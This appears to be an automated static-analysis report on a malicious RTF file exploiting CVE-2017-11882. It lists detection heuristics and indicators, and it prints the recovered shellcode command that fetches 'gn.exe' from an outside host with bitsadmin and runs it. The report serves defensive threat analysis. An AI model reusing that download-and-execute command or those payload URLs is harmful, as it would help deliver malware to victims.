MALICIOUS
442
Risk Score
Heuristics 10
-
Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOREquation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
-
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
-
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
-
Equation Editor shellcode downloads a second-stage payload critical OLE_MTEF_SHELLCODE_DOWNLOAD_URLThe shellcode reached by the Equation Editor overflow resolves download/exec APIs (URLDownloadToFile / ShellExecute / WinExec) and fetches a second-stage payload. The download URL was recovered from the Equation Native stream — directly when the shellcode is plaintext, or by emulating its self-decoding stub. An integer-encoded host (e.g. http://000030000706151) is normalised to its dotted-quad form and both spellings are surfaced as IOCs.
-
Equation Editor object class critical RTF_OBJCLASS_EQUATIONObject class 'equation.3' references Equation Editor
-
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
\objupdate forces OLE activation high RTF_OBJUPDATERTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
-
OLE object data medium RTF_OBJDATARTF contains 1 \objdata section(s) — embedded OLE objects
-
Embedded OLE object medium RTF_OBJEMBRTF contains \objemb — embedded OLE object
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://daltontrail.com/gn.exe In RTF body
- http://000030000706151In RTF body
- http://192.3.140.105Decoded from obfuscated IP host (000030000706151)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
objdata_00_off00000362.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x362 | 3546 bytes |
SHA-256: 4d37e6427ee4d3a3b8393acbe27988680f5553ee29c5688629f8d576cae807cc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered URL(s): http://daltontrail.com/gn.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://daltontrail.com/gn.exe %temp%\Cz.Exe&%temp%\Cz.Exe
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.